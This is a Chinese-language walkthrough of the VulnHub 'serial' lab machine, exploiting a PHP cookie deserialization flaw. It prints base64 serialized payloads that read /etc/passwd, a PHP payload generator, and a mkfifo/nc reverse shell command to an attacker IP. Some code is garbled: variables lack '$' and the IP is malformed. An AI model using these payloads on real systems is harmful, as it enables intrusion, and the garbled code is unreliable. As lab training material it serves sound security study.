反序列化靶机实战serial(保姆级教程)

一.信息收集

靶机地址下载:https://download.vulnhub.com/serial/serial.zip

打开靶机,在kali虚拟机中进行主机存活探测

可以知道靶机ip地址为192.168.133.171

然后扫描端口 可以发现有一个22端口跟80端口

然后接下来用kali扫描它的目录

可以发现有一个可访问的目录 我们去访问一下

访问之后backup目录下有一个bak.zip 下载下来

下载下来之后有三个文件 分析一下

index.php

<?php
include("user.class.php");

if(!isset(_COOKIE\['user'\])) { setcookie("user", base64_encode(serialize(new User('sk4')))); } else { unserialize(base64_decode(_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?php

class Log {

private $type_log;

function __costruct($hnd) {

this-\>type_log = $hnd;

}

public function handler($val) {

include($this->type_log);

echo "LOG: " . $val;

}

}

?>

user.class.php

<?php

include("log.class.php");

class Welcome {

public function handler($val) {

echo "Hello " . $val;

}

}

class User {

private $name;

private $wel;

function __construct($name) {

this-\>name = name;

$this->wel = new Welcome();

}

function __destruct() {

//echo "bye\n";

this-\>wel-\>handler(this->name);

}

}

?>

提示cookie,burpsuite抓包看一下cookie

cookie那里有一串base64加密的 解密一下

base64解码得到序列化后字段是

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

然后我们构造payload 读取/etc/passwd文件

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')

base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjg6InR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

然后再次抓包 打开用burp的repeater

将加密后的替换一下 就可以看到 然后成功包含 看到有一个sk4用户可登陆

get shell

构造序列化语句上传shell

生成一个shell放在本地网站下

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

php 复制代码
<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

然后去访问自己新创建的php 我这里用的是7.php 打开就看到他的base64编码

然后去抓包 把访问7.php得到的base64编码 替换cookie

成功执行

开始反弹shell

rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+1192.168.133.163+6666+>/tmp/f

将上述代码url编码后填入参数位置

然后在kali里开启监听监听成功

在攻击模块发送 成功获取shell

查看文件,多返回几次上级目录,找到一个txt文件

查看文件得到他的账号跟密码

最后在远程连接 成功进入

相关推荐
✎﹏赤子·墨筱晗♪1 小时前
Ansible Playbook 入门指南:从基础到实战
linux·服务器·ansible
乌萨奇也要立志学C++2 小时前
【Linux】进程概念(六):进程地址空间深度解析:虚拟地址与内存管理的奥秘
linux·运维
月殇_木言6 小时前
Linux 线程
linux
wangjialelele6 小时前
Linux中的线程
java·linux·jvm·c++
tritone8 小时前
我在阿贝云免费服务器上搭建RustDesk自建服务器(Self-Hosting)的真实体验【推荐】
运维·服务器
2301_800050998 小时前
DNS 服务器
linux·运维·笔记
Lin_Aries_04218 小时前
容器化简单的 Java 应用程序
java·linux·运维·开发语言·docker·容器·rpc
SELSL8 小时前
SQLite3的API调用实战例子
linux·数据库·c++·sqlite3·sqlite实战
洲覆8 小时前
Redis 核心数据类型:从命令、结构到实战应用
服务器·数据库·redis·缓存
小牛马爱写博客8 小时前
DNS 服务器与 DHCP 服务器详解及配置指南
linux·运维·服务器·dns·dhcp